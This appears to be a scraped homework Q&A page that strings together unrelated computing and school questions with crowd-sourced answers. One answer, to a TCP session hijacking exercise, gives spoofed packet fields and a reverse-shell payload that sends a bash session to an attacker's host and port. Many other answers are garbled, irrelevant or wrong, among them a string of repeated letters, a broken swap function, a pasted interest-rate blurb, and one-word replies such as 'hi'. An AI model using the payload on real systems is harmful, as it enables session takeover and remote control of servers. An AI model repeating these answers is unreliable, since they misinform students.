Suppose we have two transmitters, each of which sends out repetitions of some short string. For example, transmitter 1 may repeat string x=101 over and over, so what we will hear from it will be a prefix of x k - that is, x concatenated to itself k times, possibly with a few bits chopped of the end (as in 10110110). Transmitter 2 repeats another string, y. Our job is to determine if a sequence s that we have heard is an interleaving of these two transmissions.
For example, suppose transmitter 1 repeats x=101 and transmitter 2 repeats y=01. The sequence 010111010101 can be unraveled into x and y: positions 1, 5, 9, and 12 contain 0101, a repetition of y, while the remainder of the string contains 10110110, a repetition of x. Describe an efficient algorithm which takes a sequence s of length n, and two strings x and y, and determines if s is an interleaving of repetitions of x and y.
For this dynamic programming problem and the next one, be sure to
(a) describe the subproblem
(b) give a recurrence for the subproblem
(c) provide pseudo-code showing how a table for the subproblems is filled
(d) give the time and space requirements of your method

Answers

Answer 1

Answer:

ssssssssssssssssssss

Explanation:


Related Questions

There is an active Telnet connection from a client (10.0.2.5) to a Telnet server(10.0.2.9). The server has just acknowledged a sequence number1000, and the client has just acknowledged a sequence number 3000. An attacker wants to launch the TCP session hijacking attack on the connection, so he can execute a command on the server. He is on the same local area network as these two computers. You need to construct a TCP packet for the attacker. Please fill in the following fields:
• Source IP and Destination IP
• Source port and Destination port
• Sequence number
• The TCP data field.

Answers

Answer:

Answer is mentioned below.

Explanation:

Source IP and Destination IP: 10.0.2.5, 10.0.2.9 Source port and Destination port: for source port, we need to sniffer a packet in this  Sequence number: 3001 The TCP data field: “/bin/bash –l > /dev/tcp/10.0.20/9090 2>&1 0<&1”

I hope you find the answer helpful. All the codes are correctly mentioned. Thanks

8.
A bank offers the following rate of interest for fixed deposit:
Time (Years)
Rate (%)
9.0
1 to 2
10.0
2 to 3
11.0
> 3
12.0
The amount (A) after n years is calculated by using the formula :
A = P (1 + r/100)
Where P = Principal amount deposited, ,
R = Rate of interest,
n = Number of years
Write a program to accept deposited amount (P), number of years the amount is deposited for (n) and compute
the accrued amount for an investor.​

Answers

Answer:

Simple interest does not add any interest rate on the interest amount ... r = Rate of Interest ... principal amount with the rate of interest and the tenure of the loan or deposit. ... (P x r x t) ÷ (100 x 12) ... Example 1: If you invest Rs.50,000 in a fixed deposit account for a period of 1 year at ... (5,00,000 x 18 x 3) ÷ 100 = Rs.2,70,000.

Explanation:

Newton's method has the advantage of having a faster quadratic convergence rate over the other methods such as Secant and bisection methods.

a. True
b. False

Answers

Answer:

a. True

Explanation:

The Newton's method (Newton-Raphson method) used in advanced statistical computing can be used for a continuous and differentiable function that can be approximated by a straight line tangent to it. It requires the derivative of the function to be known, Newton's method converges faster that is whenever it converges. Newton Raphson Method has quadratic convergence which is faster, and the quadratic convergence makes the error in the next iteration increase by the square of the value of the previous iteration.

You work part time at a computer repair store. You just upgraded the processor in a customer's computer. The computer starts, but it shuts down shortly after starting Windows. Because you know that the problem is related to the processor, you will check any issues related to the processor installation. In this lab, you task is to diagnose and correct the problem.

Answers

Answer:

Explanation:

If the computer is starting up and getting into windows then this means that the processor itself is not dead. First, check to see if the processor fan is spinning correctly when turning on the computer. If it is, then you will need to remove it, and make sure that the processor is perfectly slotted within the cpu slot and that no pins are bent. If this is the case, then clean the cpu top with an alcohol swab and reapply thermal paste. If it is overheating due to any of these reasons it would cause the pc to power off in order to preserve the processor. If none of these fix the problem then it might be a faulty processor or a problem with another component such as the RAM or power cables.

A digital computer has a memory unit with 16 bits per word. The instruction set consists of 72 different operations. All instructions have an operation code part(opcode) and an address part(allowing for only one address). Each instruction is stored in one word of memory.

Required:
a. How many bits are needed for the opcode?
b. How many bits are left for the address part of the instruction?
c. What is the maximum allowable size for memory?
d. What is the largest unsigned binary number that can be accommodated in one word of memory?

Answers

Answer:

a. 7 bits b. 9 bits c. 1 kB d. 2¹⁶ - 1

Explanation:

a. How many bits are needed for the opcode?

Since there are 72 different operations, we require the number of bits that would contain 72 different operations. So, 2ⁿ ≥ 72

72 = 64 + 8 = 2⁶ + 8

Since n must be an integer value, the closest value of n that would contain 72 different operations is n = 7. So, 2⁷ = 128

So, we require 7 bits for the opcode.

b. How many bits are left for the address part of the instruction?

bits left = bits per word - opcode bit = 16 - 7 = 9 bits

c. What is the maximum allowable size for memory?

Since there are going to be 2⁹ bits to addresses each word and 16 bits  for each word, the maximum allowable size for memory is thus 2⁹ × 16 = 512 × 16 = 8192 bits.

We convert this to bytes

8192 bits × 1 byte/8 bits = 1024 bytes = 1 kB

d. What is the largest unsigned binary number that can be accommodated in one word of memory?

Since the number go from 0 to 2¹⁶, the largest unsigned binary number that can be accommodated in one word of memory is thus

2¹⁶ - 1

Q : Write a simple code, which basically takes a integer value from PC terminal and calculates the solutions on Arduino board and replays the answers to the PC terminal.


a. Power of given value.


b. If number is prime number or not.


you should upload your answers with *.c file with necessary comments.

Answers

Answer:

I have uploaded my answers with *.c file with necessary comments.

Explanation:

a. Power of given value.

A

#include <stdio.h>

int main() {

int base, exp;

long long result = 1;

printf("Enter a base number: ");

scanf("%d", &base);

printf("Enter an exponent: ");

scanf("%d", &exp);

while (exp != 0) {

result *= base;

--exp;

}

printf("Answer = %lld", result);

return 0;

}

b. If number is prime number or not.

#include <stdio.h>

int main() {

int n, i, flag = 0;

printf("Enter a positive integer: ");

scanf("%d", &n);

for (i = 2; i <= n / 2; ++i) {

// condition for non-prime

if (n % i == 0) {

flag = 1;

break;

}

}

if (n == 1) {

printf("1 is neither prime nor composite.");

}

else {

if (flag == 0)

printf("%d is a prime number.", n);

else

printf("%d is not a prime number.", n);

}

return 0;

}

Hope this helps!!!

d. Chipboard
4. Which component of a computer connects the processor to the other hardw
a. Motherboard
b. CPU
c. Punch card
d. Chip
5. Which is referred to the brain of computer?
a. Processor
b. RAM
c. ROM
d Hard drive
6. How many parts are consists in a computer for information processing cycle?
a. Only one part
b. Two parts
Three parts
d Four parts
7. Which among the following if absent, a computer is not complete?
a. Mouse
b. DVD
c. Projector
d. User
8
GET AT​

Answers

Answer:

7

Explanation:

Unemployment rate is a macroeconomic measure that describes:
O A. the percentage of people who are looking for a job but cannot find
one.
B. the value of the goods produced in a country divided by its
population.
c. the total value of goods and services a country produces in a year.
D. the increase in prices of consumer goods over a period of time.



Someone help me ASAP pleaseeee

Answers

Answer:

c

Explanation:

Consider the following pseudocode.
i = 0
sum = 0
REPEAT UNTIL i = 4
i = 1
sum++
DISPLAY sum

What is the output?

Answers

Considering the pseudocode :

i = 0

sum = 0

REPEAT UNTIL i = 4

i = 1

sum++

DISPLAY sum

The output of the pseudocode will be 4.

pseudocode

pseudocode  is a plain language description of the steps in an algorithm or another system.

Let's write the code in python.

i = 0

sum = 0

while i < 4:

   sum += 1

   i += 1

print(sum)

Code explanation:The first line of code, we initialise i as zero.The sum was also initialise as zero.Then we use the while loop to loop through i until its less than 4.Then we add one to the sum for each loop.Then, increase the value of i to continue the loop.Finally, we print the sum.

learn more on pseudocode here : https://brainly.com/question/17101205

The following Integer values are pushed onto a stack, s. The values are pushed onto s in the order that they appear below (left to right).

1 7 4 6 10 9

Assume the following declaration has been made.
PriorityQueue priQue new PriorityQueuecinteger> :

Values are popped off the stack, s, and as each value is popped off the stack, it is inserted into the priority queue, priQue. The following code is then executed.

while (!priQueue.isEmpty()){
System.out.println (priQue.remove ())

The numbers printed to the screen would be: ______

Answers

Answer:

9 10 6 4 7 1

Explanation:

When the values are pushed to the stack they would end up in the stack in the same order as they go in.

1 7 4 6 10 9

when elements are popped from a stack they are removed from the end to the beggining of the stack, and since these elements are being added to the priorityQueue then priQue will have the following order

9 10 6 4 7 1

this will also be the order that the numbers will be printed out from left to right since priorityQueue remove method, removes the elements from left to right.

Which of these actions will help build relationships with customers : A. Empowering employees to provide the best service possible B. Make follow- up calls after service transactions C. Ask for customer opinions on possible improvements D. all of the above

Answers

Answer: D. all of the above

Explanation:

Customers want to be provided with good service when they shop so it is important that employees are able to do so and they can only do so if they have the tools required. The company should therefore make those tools available thereby empowering employees to provide great service.

Making follow-up calls to customers after they receive a service to check if the service is working out will build customer relations because they will feel that the company cares. Finally, asking customers of their opinions on improvements needed makes them feel they have a voice and will go a long way in establishing rapport with them.

writer an obituary about macbeth​

Answers

Answer:

hi

Explanation:

melissa created a brochure for fashion fabrics with this image. wich design elements are significant in this image

Answers

Answer:

Texture is very prominent in the image. The other elements are

_Shape_ and _Color_.

Explanation:

If we were to look through our choices, space doesn't make sense as there is no clear distinction between foreground, middle ground, and background. It's not form because the image shown shows no manipulation of light that would make the subject of the image look realistic.

- 2021 Edmentum

Texture stands extremely prominent in the image. The other features exist

Shape and Color.

What are the significant elements in the image?

Texture stands extremely prominent in the image. The other features exist

Shape and Color.

If we were to look through our choices, space doesn't create sense as there exists no clear difference between foreground, central ground, and background. It's not constituted because the picture shown delivers no manipulation of light that would cause the subject of the picture to look realistic.

According to each line style (fiber, natural fiber, cotton, recycled plastic, silk), you can design various clothes and styles. Harmony happens when the overall design, garment, or ensemble performs visible unity.

To learn more about significant elements in the image

https://brainly.com/question/13581860

#SPJ2

Consider the following statements. An abstract class is better than an interface when the variables in the abstract class or interface are likely to have changing values. An interface is better than an abstract class when nearly all of the methods in the abstract class or interface are abstract. An abstract class is better than an interface if new methods are likely to be required in the abstract class or interface in the future. An abstract class is better than an interface if a sub class is likely to need to inherit more than one super class. Which of the choices below is correct?

a. I and Il are true
b. I and III are true
c. II and III are true
d. I, II, and III are true
e. I, III, and I are true

Answers

Well the nonchalant question given for 4th grade red named babyface Justin and Jerome

Whatever programming language you use will ultimately need to be translated into binary in order for the computer to understand it.

a. True
b. False

Answers

Answer:

Javascript:

function translate(what) {

if (what) {

return 1;

} else if (!what) {

return 0;

}

}

translate(true);

Explanation:

True is 1;

False is 0;

16238)
Which type of device often controls iot
tasks?
Desktop
Laptop
Samart phone
switch

Answers

Answer:

Consumer connected devices include smart TVs, smart speakers, toys, wearables and smart appliances. Smart meters, commercial security systems and smart city technologies -- such as those used to monitor traffic and weather conditions -- are examples of industrial and enterprise IoT devices.

I wish we could visit Paris for the holidays into exclamatory​

Answers

Answer:

wdym

Explanation:

You want to visit Paris ? Tbh is sould fun and interesting

Multiply the following two Tom's Tiny floating-point format numbers (8-bit: sign bit, 3-bit 2's complement exponent, 4-bit fraction). Make sure to correctly round the result before putting the answer back in the 8-bit format.

A = 10010011
B = 10101000
AxB = _______

Answers

Answer:

A*B =  00111100

Explanation:

Given data :

A = 10010011

B = 10101000

Find A * B

For A = 10010011  express in sign bit , exponent and number

repeat same process for B

attached below is a detailed solution

A*B =  00111100

Implement in a programming language of your choice the void function swap( a, b ) that exchanges the values of 2 passed actual int parameters a and b. State which language you select. Actual parameters a and b are 2 distinct addressable programming objects (variables).

Answers

Answer:

Javascript.

function swap(a, b) {

a = b;

b = a;

// can you explain more, aka for what to return

}

Explanation:

Holding all else constant a higher price for ski lift tickets would be expected to

Answers

Answer:

answer is below

Explanation:

decrease the number of skis sold

Explain the evolution of programming language​

Answers

This link explains all about the evolution of Programming - https://www.geeksforgeeks.org/the-evolution-of-programming-languages/

Write a function NumberOfPennies() that returns the total number of pennies given a number of dollars and (optionally) a number of pennies. Ex: 5 dollars and 6 pennies returns 506.
Sample program:
#include
using namespace std;

int main() {
cout << NumberOfPennies(5, 6) << endl; // Should print 506
cout << NumberOfPennies(4) << endl; // Should print 400
return 0;

Answers

Answer:

Following are the code to the given question:

#include <iostream>//header file  

using namespace std;

int NumberOfPennies(int ND, int NP=0)//defining a method that accepts two parameters  

{

return (ND*100 +NP);//use return keyword that fist multiply by 100 then add the value  

}

int main() //main method

{

cout << NumberOfPennies(5,6) << endl; // Should print 506

cout << NumberOfPennies(4) << endl; // Should print 400

return 0;

}

Output:

506

400

Explanation:

In the method "NumberOfPennies" it accepts two parameters that are "ND and NP" that uses the return keyword that multiply 100 in ND variable and add in NP variable and return its values.

In the main method it it uses the cout method that call the by accepts value in parameter and print its value.

Construct a SQL query that displays a list of colleges, their sity/state, the accrediting agency, and whether or not the school is distance only. Only show the first 10 records.

Answers

Answer:

SELECT college, city_state, accre_agency, distance LIMIT 10

Explanation:

Given

Table name: College

See attachment for table

Required

Retrieve top 10 college, state, agency and school distance from the table

To retrieve from a table, we make use of the SELECT query

The select statement is then followed by the columns to be selected (separated by comma (,))

So, we have:

SELECT college, city_state, accre_agency, distance

From the question, we are to select only first 10 records.

This is achieved using the LIMIT clause

i.e. LIMIT 10 for first 10

So, the complete query is:

SELECT college, city_state, accre_agency, distance LIMIT 10

Joshua always participate in team meetings and comes up with ideas and suggestions. what quality is he demonstrating?
A. Honestly
B. Innovativeness
C. approahability
D. confidence
E. resourcefulness

its plato!! pls help!!​

Answers

Answer:

recoursefulness

Explanation:

because he is being a good recourse and is actively participating

Resourcefulness quality is demonstrated in this particular instance. Thus, option E is correct.

What is quality?

Quality refers to how well the goods adhere to all rules, regulations, and guidelines. the benchmark by which something is evaluated in comparison to other items of a similar nature; the level of brilliance of something.

The skill and ingenuity to deal with challenging circumstances or uncommon difficulties are referred to as resourcefulness. It entails overcoming challenges and limitations to solve problems and complete tasks. Making the most of your assets in order to create someone new or improved is another aspect of being resourceful.

Additionally, they possess the ability to remain resourceful in the midst of difficulty and come up with original solutions to challenges. Therefore, option E is the correct option.

Learn more about quality, here:

https://brainly.com/question/31317502

#SPJ2

The moment that S-locks are released will determine:__________

a. The granularity of locks
b. The compliance with ACID
c. The look-ahead logging strategy
d. The anomalies that can happen

Answers

Answer:

A.

Explanation:

In computer science, the selection of a lockable device is an essential consideration in the creation of a database management system.

Granularity locking is a locking technique that is applied in database management systems (DBMS) as well as relational databases. The granularity of locks corresponds to how much data is locked at once, and it is determined when S lock (Shared Locks) are released.

The moment that S-locks are released will determine the granularity of locks (Option a).

A lock can be defined as a procedure capable of enforcing limits on access to a particular resource when there exist many threads of execution.

Multiple granularity locking (abbreviated as MGL) is a locking strategy employed in database management systems and also in relational databases.

This strategy (multiple granularity locking) is often used in order to ensure serializability.

In conclusion, the moment that S-locks are released will determine the granularity of locks (Option a).

Learn more in:

https://brainly.com/question/15691389

Character positions in
arrays start counting with
the number 1.
True
False

Answers

Answer:

False.

Explanation:

A data dictionary can be defined as a centralized collection of information on a specific data such as attributes, names, fields and definitions that are being used in a computer database system.

In a data dictionary, data elements are combined into records, which are meaningful combinations of data elements that are included in data flows or retained in data stores.

This ultimately implies that, a data dictionary found in a computer database system typically contains the records about all the data elements (objects) such as data relationships with other elements, ownership, type, size, primary keys etc. This records are stored and communicated to other data when required or needed.

In Computer programming, an array can be defined as data structure which comprises of a fixed-size collection of variables each typically holding a piece of data and belonging to the same data type such as strings or integers.

This ultimately implies that, when a programmer wishes to store a group of related data (elements) of the same type, he or she should use an array.

Generally, character positions in arrays start counting with the number 0 not 1.

Hence, an array uses a zero-based indexing and as such the numbering or position of the characters (elements) starts from number 0. Thus, the first character (element) in an array occupies position zero (0), the second number one (1), the third number two (2) and so on.

Another method that might be desired is one that updates the Goalie's jerseyNumber. This method will receive a new number of Jersey and set this number to the Goalie's current jerseyNumber. What methods would accomplish this?

Answers

Answer:

A setter method

Explanation:

A setter method will accomplish this. A setter method is a method that takes in a value as an argument and grabs an object's instance variable and modifies it with the value passed as an argument. In this scenario, the argument value would be the current JerseyNumber. The setter method will grab the object's jerseyNumber variable and change its value to be the value of the passed argument. Setter methods are common practice in all object classes as well as the getter methods to retrieve instance variables.

Identify the logic error in the code below. The code is supposed to display a single message “child”, “adult” or “senior” for any value of age:

if (age < 18) {
System.out.println("child");
} else if (age >= 18) {
System.out.println("adult");
} else if (age > 65) {
System.out.println("senior");
}
Question 1 options:

a)

no message for age = 65

b)

too many messages for age = 18

c)

no message for age < 65

d)

message “senior” will never be displayed

Answers

If we take a look at the first else if block, the code runs whenever the age is greater than or equal to 18. This means that senior will never be displayed. Answer choice D is correct.

how do you design and create video games for what console game That you want To have it in

Answers

Answer

Making a video game is much less daunting than it might seem. While you likely aren’t going to go from having no experience to making the next Grand Theft Auto, it has actually never been easier to get started making games. Game development tools and resources have become increasingly accessible to the average person, even if they have no programming experience. Often these tools are also available for free.

To try to make things easier for those looking to get started making games, we’ve put together a list of 11 game engines / editors. Some are designed for a specific genre of game or to be incredibly easy for newcomers. Others are professional development tools for AAA games, but are effectively free to use for hobbyists and still offer a lot of learning tools to help those with limited programming experience get started.

There are, of course, a lot of things that go into game development — music, animation, sound, writing, texturing, modeling, etc. — however, the game engine / editor you choose is going to have the biggest effect on what kind of game you can make. If you have suggestions for other engines, software, or learning tools for the other aspects of development, post it in the comments.

Adobe Indesign project 4 museum indesign file. The instructions are 70 pages long I cant sit still long enough to read them

Answers

Answer:

? Read on to learn about the possible reasons and resolutions. ... Check whether you have the latest update installed for InDesign. ... InDesign cannot open the file when your system does not have enough memory ... Copy page elements into a new document.

Explanation:

Other Questions
three reasons that president van buren did not annex texas Find the slope of the line (brainlist whoever gets it right first and extra points on this question) You buy 5 shirts each having the same price. Write a variable expression for the total amount you spend on shirts. How much money do you spend on the shirt when each shirt costs $15? A. 5x; $75 B. 5x; $20 C. 5 + x; $20 D. 5 + 5x; $25 les 3 ordres caricatures cuales fueron los logros de la guerra de las malvinas?ayuda Please help! I will mark you brainiest Rewrite these sentences poetically.1. "I feel sad."2."I feel hope." The three inside angles (A,B and C) of a right-angled triangle are in the ratio 7:18:11. Th smallest angle is 35. Work out angles A, B and C Which would be considered an ecosystem?Aa colony of bacteriaBbiotic factors in a forestpopulations of zebras and lionsDliving and nonliving things in a pond what are possible symptoms of the measles virus? A student must determine how the mass of a block affects the period of oscillation when the block is attached to a vertical spring. The value of the spring constant is known. The student writes the following experimental procedure.1. Use an electronic balance to measure the mass of the block. 2. Attach the block to the vertical spring. 3. Displace the block from the system's equilibrium position to a new vertical position. 4. Release the block from rest. 5. Use a meterstick to measure the vertical displacement of the center of mass of the block from the system's equilibrium position to its maximum vertical position above the equilibrium position. 6. Use a stopwatch to measure the time it takes for the system to make ten complete oscillations. 7. Repeat the experiment for different vertical displacements and block masses. Which of the following steps of the procedure should the student revise to make the determination? Justify your selection. a. Step 3, because the student must specify whether the new vertical position should be above or below the system's equilibrium position. b. Step 5, because the meterstick should be used to measure total displacement of the system from its lowest vertical position to its highest vertical position. c. Step 6, because the stopwatch should be used only to measure the time it takes for the system to make 1 complete oscillation. d. Step 7, because the experiment should not be repeated for different vertical displacements and block masses. Find ( x+5 ) ( x+2 ) I need answer ASAPNo links please PLEASE HELP ASAP I WILL MARK BRANLIST!!!!!! Of 10 test scores, six are less than or equal to 82 What is the percentile rank of a test score of 82?The percentile rank of 82 is Find an explicit formula for the arithmetic sequence 170,85,0,-85,...170,85,0,85,...170, comma, 85, comma, 0, comma, minus, 85, comma, point, point, point. A hat contains cards with different colors Annabelle randomly selects a card from the hat and Returns the card to the Hat after noting the color and randomly selecting a car 300 times she has picked purple guard 70 times based on her results what is it estimated probability that Annabelle selects a purple Can anyone help me out? Ill give Brainly! Thank you :) Need the following questions answered please and thank you PLISSS HELP 1. A socially acceptable drug that can have negative effects on health like dizziness and liver problems is:A. Anabolic SteroidsB. NicotineC. HeroinD. Alcohol2. Which of the following is not a body type associated with body composition? A. EndomorphB. MyomorphC. EctomorphD. Mesomorph3. Which of the following is NOT a type of strength?A. ExplosiveB. StaticC. PlyometricD. Dynamic 4. These are neuro chemicals produced during exercise which reduce the feeling of pain and stress.A. Human growth hormoneB. SerotoninC. ATPD. Endorphins On your paper, graph these coordinates:(0, 1), (2, 5), (3,7)